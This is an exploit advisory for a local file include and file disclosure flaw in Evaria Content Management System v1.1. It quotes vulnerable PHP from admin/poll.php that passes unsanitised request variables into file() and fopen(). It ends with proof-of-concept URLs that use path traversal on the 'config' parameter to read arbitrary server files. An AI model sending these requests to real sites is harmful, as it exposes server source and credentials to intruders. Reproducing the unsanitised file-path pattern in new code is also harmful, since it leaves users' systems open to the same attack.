84 lines
No EOL
3.2 KiB
Text
84 lines
No EOL
3.2 KiB
Text
# Exploit Title: local file include / File Disclosure
|
|
# Date:
|
|
# Author: khayeye shotor
|
|
# Software Link: http://www.evaria.com/en/?view=download&dload=1
|
|
# Version: Evaria Content Management System v.1.1
|
|
# Thanks: khayeye sag , kandome mivei , sinehaye amam and all amehaye irani
|
|
-----------
|
|
|
|
|
|
vul code: /path/admin/poll.php
|
|
|
|
$file_contents = file("admin/".$current_poll);
|
|
if (((isset($vote_logging))) && (($vote_logging == 1) || ($vote_logging == 3))) {
|
|
foreach ($file_contents as $line) {
|
|
if (eregi($REMOTE_ADDR, $line)) {
|
|
display_form();
|
|
echo "<TABLE align=\"center\" width=\"100%\" cellspacing=\"2\" cellpadding=\"2\" border=\"0\">\n <TR>\n";
|
|
echo " <TD class=\"poll_status\" align=\"center\">" . $already_voted . "</TD>\n";
|
|
echo " </TR>\n</TABLE>\n";
|
|
$set_already_voted = 1;
|
|
$vote_allow = 0;
|
|
break;
|
|
}
|
|
}
|
|
}
|
|
if (((isset($vote_logging))) && (($vote_logging == 2) || ($vote_logging == 3))) {
|
|
if ((isset($voted)) && ($voted == "on")) {
|
|
if (!$set_already_voted) {
|
|
display_form();
|
|
echo "<TABLE align=\"center\" width=\"100%\" cellspacing=\"2\" cellpadding=\"2\" border=\"0\">\n <TR>\n";
|
|
echo " <TD class=\"poll_status\" align=\"center\">" . $already_voted . "</TD>\n";
|
|
echo " </TR>\n</TABLE>\n";
|
|
}
|
|
$vote_allow = 0;
|
|
break;
|
|
}
|
|
}
|
|
if ($vote_allow) {
|
|
$poll_string = $vote . "|" . $REMOTE_ADDR . "\n";
|
|
$fp = fopen("admin/".$current_poll, "a");
|
|
$string_size = strlen($poll_string);
|
|
if (fputs($fp, $poll_string, $string_size)) {
|
|
display_form();
|
|
echo "<TABLE align=\"center\" width=\"100%\" cellspacing=\"2\" cellpadding=\"2\" border=\"0\">\n <TR>\n";
|
|
echo " <TD class=\"poll_status\" align=\"center\">" . $vote_cast . "</TD>\n";
|
|
echo " </TR>\n</TABLE>\n";
|
|
}
|
|
fclose($fp);
|
|
}
|
|
}
|
|
break;
|
|
|
|
case "default":
|
|
display_form();
|
|
break;
|
|
|
|
}
|
|
}
|
|
|
|
// Display poll form if no view is called upon...
|
|
if (!isset($mode)) {
|
|
display_form();
|
|
}
|
|
elseif ((isset($vote) == 0) && (isset($mode))) {
|
|
display_form();
|
|
echo "<TABLE align=\"center\" width=\"100%\" cellspacing=\"2\" cellpadding=\"2\" border=\"0\">\n <TR>\n";
|
|
echo " <TD class=\"poll_status\" align=\"center\">" . $no_selection . "</TD>\n";
|
|
echo " </TR>\n</TABLE>\n";
|
|
}
|
|
|
|
function display_form() {
|
|
global $config;
|
|
global $no_voting;
|
|
global $QUERY_STRING;
|
|
echo "<FORM name=\"poll\" action=\"?" . $QUERY_STRING . "\" method=\"post\">\n";
|
|
echo "<TABLE align=\"center\" width=\"100%\" cellspacing=\"2\" cellpadding=\"2\" border=\"0\">\n";
|
|
echo " <TR>\n";
|
|
$answers = file("admin/".$config);
|
|
------------------------------------------------
|
|
|
|
poc:
|
|
/admin/poll.php?config=../../eprint.php
|
|
|
|
/admin/poll.php?config=[local file] |